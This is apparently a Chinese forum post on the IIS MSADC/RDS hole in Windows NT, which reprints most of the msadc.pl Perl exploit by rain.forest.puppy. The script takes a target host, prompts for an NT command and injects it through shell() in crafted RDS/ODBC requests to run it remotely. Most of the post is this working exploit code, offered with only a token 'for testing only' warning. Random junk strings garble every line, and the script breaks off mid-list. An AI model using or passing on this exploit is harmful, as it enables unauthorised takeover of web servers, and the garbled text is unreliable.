IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
{wK|C<K *OM+d$l! 涉及程序:
;*+wg5| Microsoft NT server
*'l|ws /TEE<\" 描述:
*@+E82D 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
;rj|> eN,6p'& 详细:
[\BLb8 如果你没有时间读详细内容的话,就删除:
cPp<+ ts c:\Program Files\Common Files\System\Msadc\msadcs.dll
;N(9nX}%) 有关的安全问题就没有了。
i:/Ws1=q ORDVyb_x 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
B'}pZOa[Wb z%lLbKSe 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
W ])Lc3X 关于利用ODBC远程漏洞的描述,请参看:
+{b3A@f|F Oaj$Z-
f http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm +3d.JQoKl A6S|pO1)3 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
k1_"}B5 http://www.microsoft.com/security/bulletins/MS99-025faq.asp xf|vz|J?y hVGK%HCz& 这里不再论述。
&P:2`\' v!WkPvU 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
'UFPQ w l#jSj%pd /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
/6@$^paB 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
Ox%.We5 pPH"6
W*WSjuFr2 #将下面这段保存为txt文件,然后: "perl -x 文件名"
[}Z!hq ^3O`8o #!perl
hi0-Sw #
\R|qXB $ # MSADC/RDS 'usage' (aka exploit) script
6` 4, #
[kKg?I$D@B # by rain.forest.puppy
o?`^
UG- #
P
~rT uj # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
<(tnClAn # beta test and find errors!
79d<,q;uR ;=lQMKx0 use Socket; use Getopt::Std;
q Oyo+hu getopts("e:vd:h:XR", \%args);
shuoEeoo S]g`Ds< print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
#!7b3 >} g$T%
C? if (!defined $args{h} && !defined $args{R}) {
j}aU*p~N print qq~
7*C>4Gs Usage: msadc.pl -h <host> { -d <delay> -X -v }
E5Zxp3 N -h <host> = host you want to scan (ip or domain)
XJ6=Hg4_O -d <seconds> = delay between calls, default 1 second
a_(fqoW -X = dump Index Server path table, if available
qk_YFR?R -v = verbose
$TY1'#1U; -e = external dictionary file for step 5
(Y~gItej 6QX2&[qWS Or a -R will resume a command session
c+N\uG4 {1L{ ~; exit;}
n _eN|m?@ ~yu\vqN $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
W.7XShwd*2 if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
;R*tT%Z, if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
/ TAza9a if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
b@ OF $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
#<81`% if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
19*D*dkBR OR<%h/ \f if (!defined $args{R}){ $ret = &has_msadc;
I`uOsZBO/ die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
.2x`Fj;o1 fYiof]v@_m print "Please type the NT commandline you want to run (cmd /c assumed):\n"
:$^cY>o . "cmd /c ";
^+u/Lw& $in=<STDIN>; chomp $in;
qs3V2lvYw{ $command="cmd /c " . $in ;
n}3fItSJ >*"1`vcxF if (defined $args{R}) {&load; exit;}
2+}hsGnp Fm`c print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
u$
a7 &try_btcustmr;
aB2t /ua gh<2i\})' print "\nStep 2: Trying to make our own DSN...";
66l+cb &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
3)_(t.$D n1)~/
> print "\nStep 3: Trying known DSNs...";
;{Tf:j'g &known_dsn;
x]pZcx9 6rh^?B print "\nStep 4: Trying known .mdbs...";
*B%ulsm &known_mdb;
n|) JhXQ f!13Ob<8r if (defined $args{e}){
N6w!V]b print "\nStep 5: Trying dictionary of DSN names...";
yBnUz" &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
.M>g`UW m?`?T
print "Sorry Charley...maybe next time?\n";
r@ v&~pL exit;
r%vO^8FQ _)-y& ##############################################################################
O%m>4OdH df7 xpV sub sendraw { # ripped and modded from whisker
/(?,S{] sleep($delay); # it's a DoS on the server! At least on mine...
rk< 3QXv my ($pstr)=@_;
\KkAU 6 socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
%d2\4{{S die("Socket problems\n");
r9whW;"q if(connect(S,pack "SnA4x8",2,80,$target)){
y /OPN<=* select(S); $|=1;
u8b^DB#+W print $pstr; my @in=<S>;
cp L ' select(STDOUT); close(S);
{7+y56[yu return @in;
baz~luM } else { die("Can't connect...\n"); }}
O"m(C[+[ 9y`Vg ##############################################################################
vl:V?-sY #mW#K
sub make_header { # make the HTTP request
z1m$8-4 my $msadc=<<EOT
6w*q~{"( POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
}D*5PV%d User-Agent: ACTIVEDATA
:qrCqFl Host: $ip
'<% ;Nv Content-Length: $clen
BOWR}n!g Connection: Keep-Alive
>;Vy{bL8 %617f=(E?! ADCClientVersion:01.06
k8O%gO Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
(VB-5&b V^qkHm e --!ADM!ROX!YOUR!WORLD!
o 76QQ+hP Content-Type: application/x-varg
#ByrX\ Content-Length: $reqlen
IT0 [;eqR EbMG9 EOT
95b65f ; $msadc=~s/\n/\r\n/g;
BiCC72oig return $msadc;}
/6nj
4.xxc
g:
,*Y^T ##############################################################################
A
v[|G4n } DQ KfS sub make_req { # make the RDS request
yvt
:/X my ($switch, $p1, $p2)=@_;
*$v`5rP my $req=""; my $t1, $t2, $query, $dsn;
7) ]97`=,OUg if ($switch==1){ # this is the btcustmr.mdb query
vz}_^8O $query="Select * from Customers where City=" . make_shell();
@;g|styh^ $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
N9X`81)t $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
8bW,.to(?x }8)iFP&" elsif ($switch==2){ # this is general make table query
jb0LMl}/A $query="create table AZZ (B int, C varchar(10))";
2/.I6IbL $dsn="$p1";}
#S*cFnd MWn+e elsif ($switch==3){ # this is general exploit table query
Ub% 1OQ $query="select * from AZZ where C=" . make_shell();
Fa^I 1fk $dsn="$p1";}
v&}^8j pjrzoMF elsif ($switch==4){ # attempt to hork file info from index server
.jvRUD8A7 $query="select path from scope()";
,n\'dMNii $dsn="Provider=MSIDXS;";}
/I@Dv? xa$p,_W:' elsif ($switch==5){ # bad query
uZkh. 0yB $query="select";
p!RyxB1.| $dsn="$p1";}
qTi%].F"G 3Q_L6Wj~ $t1= make_unicode($query);
2:tO " $t2= make_unicode($dsn);
$<v{$UOh $req = "\x02\x00\x03\x00";
9#D?wR#J= $req.= "\x08\x00" . pack ("S1", length($t1));
v*VId
l> $req.= "\x00\x00" . $t1 ;
L"ob))GF $req.= "\x08\x00" . pack ("S1", length($t2));
ra>jVE0` $req.= "\x00\x00" . $t2 ;
ua
HB\Uc $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
{((|IvP` return $req;}
EhK5<v} 'Nn>W5#)) ##############################################################################
EL+P,q/b U?sio%`( sub make_shell { # this makes the shell() statement
v dR6y return "'|shell(\"$command\")|'";}
~
$QNp#dq `6B jNV ##############################################################################
G@I/Dy 1@p'><\ sub make_unicode { # quick little function to convert to unicode
sV5S>*A[ my ($in)=@_; my $out;
ITf,
)?|]Y for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
0
$_0T return $out;}
cs6I
K6wo fjwUh>[ } ##############################################################################
l
d@ B 3,4m|Z2) sub rdo_success { # checks for RDO return success (this is kludge)
+ZU@MOni my (@in) = @_; my $base=content_start(@in);
d-BUdIz if($in[$base]=~/multipart\/mixed/){
t9(sSl return 1 if( $in[$base+10]=~/^\x09\x00/ );}
R<AT}!mkR return 0;}
nW7Ew<`Q 3I%F,-r ##############################################################################
Tyk\l>S qp)a`'Pq sub make_dsn { # this makes a DSN for us
9]^ CDL my @drives=("c","d","e","f");
Rd^X. print "\nMaking DSN: ";
s!Y`1h{ foreach $drive (@drives) {
$`O%bsjX print "$drive: ";
0 CFON2I my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
p@Ng.HE "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
q;0QI{:5v . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
;&8 $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
;;;{<GEQ return 0 if $2 eq "404"; # not found/doesn't exist
01; if($2 eq "200") {
lIDGL05f' foreach $line (@results) {
oGa8#> return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
1`z^Xk8vt } return 0;}
A(dWAe, $b=4_UroS ##############################################################################
=SqI#v dOfEEqPI sub verify_exists {
?O!'ZZX my ($page)=@_;
zJ7=r#b my @results=sendraw("GET $page HTTP/1.0\n\n");
{u4=*>?G return $results[0];}
X
\GB:#:X d9>k5! ##############################################################################
<!qv$3/7 Fs|aH-9\ sub try_btcustmr {
@cz\'v6E my @drives=("c","d","e","f");
"spAYk\ my @dirs=("winnt","winnt35","winnt351","win","windows");
j9XRC9
Jfs$VGZP; foreach $dir (@dirs) {
_T)G?iv:& print "$dir -> "; # fun status so you can see progress
B}y`E
< foreach $drive (@drives) {
/y~ "n4CK~ print "$drive: "; # ditto
PpF"n[j $reqlen=length( make_req(1,$drive,$dir) ) - 28;
43p0k&;-7 $reqlenlen=length( "$reqlen" );
TtZ
'~cGR $clen= 206 + $reqlenlen + $reqlen;
H*M )<"X O^W.5SaR my @results=sendraw(make_header() . make_req(1,$drive,$dir));
paG^W&`; if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
n,+/%IZ else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
TDtS^(2A7K aOr'OeG(=e ##############################################################################
3TS(il9A xct{Tv[FO sub odbc_error {
]*M-8_D my (@in)=@_; my $base;
Hi{1C"% my $base = content_start(@in);
![OKmy if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
Q#}
0pq $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
#'<s/7;~ $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
wgeR%#DW $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
r?l7_aBv3 return $in[$base+4].$in[$base+5].$in[$base+6];}
D$wl.r print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
j~ )GZV print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
et$VR: $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
p[zKc2 TPk v[O }~E7' ##############################################################################
9Un3La8PX PqOPRf sub verbose {
tf5h/: my ($in)=@_;
G; *jL4 return if !$verbose;
(<"uV%1 print STDOUT "\n$in\n";}
T|{1,wP Rz Os, ##############################################################################
P&s-U6 dV( "g], sub save {
:'pLuN my ($p1, $p2, $p3, $p4)=@_;
1zDat@<H open(OUT, ">rds.save") || print "Problem saving parameters...\n";
v|&Nh?r print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
%rmn+L),; close OUT;}
4w\@D>@}H K9*vWoP' ##############################################################################
~T{^7"q\ xxsax/h sub load {
"\x<Zg; my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
zv^km5by open(IN,"<rds.save") || die("Couldn't open rds.save\n");
J ^y1=PM @p=<IN>; close(IN);
^Pq4 n%x $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
yFYFFv\? $target= inet_aton($ip) || die("inet_aton problems");
ODbEL/ print "Resuming to $ip ...";
J*n Q(*e $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
[T(XwA) if($p[1]==1) {
E=-ed9({: $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
=nQgS.D $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
u?J!3ZEtb my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
C [Ap&S if (rdo_success(@results)){print "Success!\n";}
vSOO[.= else { print "failed\n"; verbose(odbc_error(@results));}}
2+2Gl7" s elsif ($p[1]==3){
#s\HiO$BT if(run_query("$p[3]")){
e#+u8 LrN print "Success!\n";} else { print "failed\n"; }}
8,0WHivg elsif ($p[1]==4){
_:B/XZ if(run_query($drvst . "$p[3]")){
*WHQ1geI8 print "Success!\n"; } else { print "failed\n"; }}
e6
R<V]g exit;}
nD8 Qeem@ [dQL6k";b ##############################################################################
. paA0j m>H+noc^ sub create_table {
]~Su my ($in)=@_;
?YeUA =[MC $reqlen=length( make_req(2,$in,"") ) - 28;
J@Qt(rRxi $reqlenlen=length( "$reqlen" );
j.?c~Fh $clen= 206 + $reqlenlen + $reqlen;
,v#F6xv8 my @results=sendraw(make_header() . make_req(2,$in,""));
O3YD
jas return 1 if rdo_success(@results);
a'[Ah2}3r< my $temp= odbc_error(@results); verbose($temp);
B#|c$s{ return 1 if $temp=~/Table 'AZZ' already exists/;
pQ_EJX) return 0;}
9_h
V1: P1r)n{; ##############################################################################
OH(w3:;[8 tRl01&0S sub known_dsn {
'^npZa'%sW # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
#cnh
~O my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
+;T `uOF} "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
yobcAV` "banner", "banners", "ads", "ADCDemo", "ADCTest");
!nBE[& V!{}%;f foreach $dSn (@dsns) {
:Zs i5>MT print ".";
~$WBc qo next if (!is_access("DSN=$dSn"));
>!D^F]CH if(create_table("DSN=$dSn")){
)wt mc4' print "$dSn successful\n";
f"{|c@% if(run_query("DSN=$dSn")){
`X:o]t@ print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
A(2\Gfe print "Something's borked. Use verbose next time\n";}}} print "\n";}
\~(scz$ yx@%x?B ##############################################################################
L&I8lG g5YDRL!Wh sub is_access {
U5iyvU=UG my ($in)=@_;
5}+&Em": $reqlen=length( make_req(5,$in,"") ) - 28;
mw\
z' $reqlenlen=length( "$reqlen" );
9tMaOm $clen= 206 + $reqlenlen + $reqlen;
=hP7Hea(N my @results=sendraw(make_header() . make_req(5,$in,""));
Fuz'! my $temp= odbc_error(@results);
xa=Lu?t%< verbose($temp); return 1 if ($temp=~/Microsoft Access/);
*K57($F return 0;}
$$5E+UDOs v>[U*E ##############################################################################
S.I3m- BQ;F`!Hx? sub run_query {
ld7B!_b< my ($in)=@_;
Vq IzDs $reqlen=length( make_req(3,$in,"") ) - 28;
P4VMGP $reqlenlen=length( "$reqlen" );
fHLt{ !O $clen= 206 + $reqlenlen + $reqlen;
xpU7ZY my @results=sendraw(make_header() . make_req(3,$in,""));
TdCC,/c3 return 1 if rdo_success(@results);
dPm_jX my $temp= odbc_error(@results); verbose($temp);
ZHN@&Gg6) return 0;}
k$ORV U 'bb*$T0= ##############################################################################
.XVW2ISv Bn<1zg5 sub known_mdb {
9*<=K my @drives=("c","d","e","f","g");
j1141md5 my @dirs=("winnt","winnt35","winnt351","win","windows");
'Zket=Sm; my $dir, $drive, $mdb;
:,@\q0j"= my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
og~Uv"&?T ] oMtqkiR # this is sparse, because I don't know of many
mH,L,3R;R my @sysmdbs=( "\\catroot\\icatalog.mdb",
kR
!O-@GJ] "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
qk
*b,`; "\\system32\\certmdb.mdb",
d$gT,+|vu "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
DTMoZm _-R&A@ my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
~ubcD6f "\\cfusion\\cfapps\\forums\\forums_.mdb",
h6(\ tRd!\ "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
i>aIuQ`pe "\\cfusion\\cfapps\\security\\realm_.mdb",
y(fJ{k "\\cfusion\\cfapps\\security\\data\\realm.mdb",
SmUj8?6" "\\cfusion\\database\\cfexamples.mdb",
Sp]u5\ "\\cfusion\\database\\cfsnippets.mdb",
itn<